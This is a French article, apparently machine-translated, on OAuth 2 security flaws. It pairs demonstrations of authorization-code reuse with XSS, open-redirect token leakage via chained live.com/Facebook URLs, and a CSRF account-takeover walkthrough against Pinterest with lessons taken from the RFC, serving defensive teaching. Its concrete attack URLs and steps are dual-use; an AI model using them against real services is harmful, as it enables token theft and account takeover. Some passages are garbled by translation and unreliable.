Présentation d'OAuth 2
Cet article suppose que les lecteurs connaissent OAuth 2. Cependant, ci-dessous, une brève description est présentée ci-dessous.
- L'application demande une autorisation d'accès aux ressources de service à l'utilisateur. L'application doit fournir l'ID client, le secret client, l'URI de redirection et les étendues requises.
- Si l'utilisateur autorise la demande, l'application reçoit une autorisation
- L'application demande un jeton d'accès au serveur d'autorisation en présentant l'authentification de sa propre identité et l'octroi de l'autorisation
- Si l'identité de l'application est authentifiée et que l'autorisation d'autorisation est valide, le serveur d'autorisation émet le jeton d'accès et d'actualisation (si nécessaire) à l'application. L'autorisation est terminée.
- L'application demande la ressource au serveur de ressources et présente le jeton d'accès pour l'authentification
- Si le jeton d'accès est valide, le serveur de ressources sert la ressource à l'application
Voici les principaux avantages et inconvénients d'OAuth 2.0
- OAuth 2.0 est plus facile à utiliser et à implémenter (par rapport à OAuth 1.0)
- Large diffusion et croissance continue
- Jetons éphémères
- Jetons encapsulés
- Aucune signature (repose uniquement sur SSL / TLS), jetons de porteur
- Pas de sécurité intégrée
- Peut être dangereux s'il est utilisé par des personnes non expérimentées
- Trop de compromis. Le groupe de travail n'a pas pris de décisions claires
- Intégration mobile (vues Web)
- Oauth 2.0 spec n'est pas un protocole, c'est plutôt un framework - RFC 6749
Évaluation plus critique
OAuth 2 Hacks
Le code d'autorisation peut être utilisé plusieurs fois
Exemple d'attaque Google:
- Enregistrer un identifiant client
- Obtenez un jeton d'autorisation dans le point de terminaison d'autorisation ( https://accounts.google.com/o/oauth2/auth ), par exemple
- Changez maintenant le code d'autorisation de
4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
À
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> et demandez un jeton d'accès.
Comme dit ci-dessus, ce sera un code d'autorisation valide et le jeton d'accès est reçu car le code d'autorisation est de la forme TOKEN1.TOKEN2 et seul TOKEN1 est validé! - En effet re-demander le jeton d'accès en utilisant le même code d'autorisation falsifié (à savoir
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> Le code d'autorisation n'est plus accepté depuis l'autorisation. La partie intéressante de tout cela est la façon dont le point de terminaison du jeton répond à ce code d'autorisation qui n'est plus valide. En effet, la réponse d'erreur ressemblait à ceci: Enregistrement de jeton:
Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ...
comme vous pouvez le voir, la sortie n'est pas nettoyée.
Leçon apprise:
Le client NE DOIT PAS utiliser le code d'autorisation plus d'une fois. Si un code d'autorisation est utilisé plusieurs fois, le serveur d'autorisation DOIT refuser la demande et DEVRAIT révoquer (si possible) tous les jetons précédemment émis sur la base de ce code d'autorisation.
URI de redirection non validé
Supposons maintenant un attaquant:
- Enregistre un nouveau client auprès du fournisseur victim.com.
- Enregistre un URI de redirection comme attacker.com.
Ensuite, l'attaquant peut créer un URI spécial de la forme
http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
Maintenant, vous pourriez affirmer qu'il ne s'agit que d'une redirection ouverte et que vous ne pouvez pas faire grand-chose avec elle, n'est-ce pas?
Passons en revue l'exemple de Microsoft et Facebook:
Microsoft utilise une étendue OAuth spécialisée wli.contacts_emails qui n'est disponible que pour l'application Facebook. Une partie intéressante est que les utilisateurs ne sont jamais informés que l'application essaie d'accéder à leurs données et que l'autorisation est accordée en silence.
Vous pouvez essayer ceci ici (vous devrez vous connecter):
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
Si vous essayez de modifier le paramètre #### redirect_uri, vous remarquerez que le jeton est émis vers n'importe quelle URL du domaine #### facebook.com. Donc, pour divulguer le jeton OAuth à un tiers malveillant, une redirection ouverte dans le domaine #### facebook.com serait nécessaire. Comme les redirections ouvertes sont généralement considérées comme des vulnérabilités de faible gravité, il n'est pas particulièrement difficile d'en trouver une. Pour cet exemple, nous utiliserons une redirection ouverte dans le flux d'autorisation de Facebook (en fournissant un paramètre d'étendue #### non valide). Cela fonctionne comme ceci:
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
Ainsi, en enchaînant les deux bogues, nous sommes en mesure d'acquérir des jetons OAuth auprès des utilisateurs de live.com. L'exemple complet est ici:
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
Si vous inspectez maintenant l'URL de destination, vous remarquerez que le jeton OAuth de Microsoft a été envoyé à un site Web tiers sans votre consentement. Un autre exemple est la redirection vers la page vulnérable du domaine XSS, où le script peut toujours accéder au jeton.
Leçons apprises:
Les implémentations OAuth ne doivent jamais mettre en liste blanche des domaines entiers, seulement quelques URL afin que «redirect_uri» ne puisse pas pointer vers une redirection ouverte. Les développeurs doivent également faire attention lorsqu'ils accordent silencieusement l'accès aux applications (l'approbation manuelle d'une application n'aggravera probablement pas l'expérience utilisateur).
La SEULE méthode de validation sûre pour redirect_uri que le serveur d'autorisation devrait adopter est la correspondance exacte
Si le propriétaire de la ressource refuse la demande d'accès ou si la demande échoue pour des raisons autres qu'un URI de redirection manquant ou non valide, le serveur d'autorisation informe le client en ajoutant les paramètres suivants au composant de requête de l'URI de redirection à l'aide de "application / x-www -form- format urlencodé "
Répondez avec un code d'état HTTP 400 (Bad Request).
Demande de contrefaçon intersite OAuth Client
Une attaque CSRF contre l'URI de redirection du client permet à un attaquant d'injecter son propre code d'autorisation ou jeton d'accès, ce qui peut amener le client à utiliser un jeton d'accès associé aux ressources protégées de l'attaquant plutôt que celui de la victime (par exemple, enregistrer les informations de compte bancaire de la victime dans une ressource protégée contrôlée par l'attaquant).
Choisissez le client qui convient à la "condition" de piratage - certains site.com (nous utiliserons Pinterest comme vitrine) Démarrez le processus d'authentification - cliquez sur "Ajouter une connexion au fournisseur OAuth". Vous devez recevoir un rappel du fournisseur mais ne devez pas le visiter.
Non visiter le Do pour la fin de l'URL ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), juste la sauvegarde et le mettre img Dans le src = « URL » ou iframe ou quoi que ce soit sinon vous préférez envoyer des demandes.
Maintenant, tout ce dont vous avez besoin est de faire en sorte que l'utilisateur (un certain utilisateur cible ou aléatoire de site.com) envoie une demande HTTP sur votre URL de rappel. Vous pouvez le forcer à visiter example.com/somepage.html qui contient iframe src = URL, poster img sur son mur, lui envoyer un email / tweet, peu importe. L'utilisateur doit être connecté à site.com lorsqu'il envoie la demande.
Bien joué, votre compte oauth est attaché au compte de l'utilisateur sur site.com.
Voila, appuyez sur Connexion avec ce fournisseur OAuth - vous êtes connecté directement au compte de l'utilisateur sur site.com
Leçons apprises:
Le client DOIT implémenter la protection CSRF pour son URI de redirection. Ceci est généralement accompli en exigeant que toute demande envoyée au point de terminaison URI de redirection inclue une valeur qui lie la demande à l'état authentifié de l'agent utilisateur (par exemple, un hachage du cookie de session utilisé pour authentifier l'agent utilisateur). Le client DEVRAIT utiliser le paramètre de demande "état" pour fournir cette valeur au serveur d'autorisation lors d'une demande d'autorisation.
Une fois l'autorisation obtenue de l'utilisateur final, le serveur d'autorisation redirige l'agent utilisateur de l'utilisateur final vers le client avec la valeur de liaison requise contenue dans le paramètre "état". La valeur de liaison permet au client de vérifier la validité de la demande en faisant correspondre la valeur de liaison à l'état authentifié de l'agent utilisateur. La valeur de liaison utilisée pour la protection CSRF DOIT contenir une valeur non devinable, et l'état authentifié de l'agent utilisateur (par exemple cookie de session, stockage local HTML5) DOIT être conservé dans un emplacement accessible uniquement au client et à l'agent utilisateur (c'est-à-dire protégé par politique de même origine).
Une attaque CSRF contre le point de terminaison d'autorisation du serveur d'autorisation peut conduire un attaquant à obtenir l'autorisation de l'utilisateur final pour un client malveillant sans impliquer ou alerter l'utilisateur final.
Le serveur d'autorisation DOIT implémenter la protection CSRF pour son point de terminaison d'autorisation et garantir qu'un client malveillant ne peut pas obtenir d'autorisation sans la connaissance et le consentement explicite du propriétaire de la ressource.
Jeton d'accès faisant partie de l'URI
En raison des faiblesses de sécurité associées à la méthode URI, y compris la forte probabilité que l'URL contenant le jeton d'accès soit enregistrée, elle NE DEVRAIT PAS être utilisée sauf s'il est impossible de transporter le jeton d'accès dans le champ d'en-tête de demande «Autorisation» ou le Corps d'entité de requête HTTP. Les serveurs de ressources PEUVENT prendre en charge cette méthode.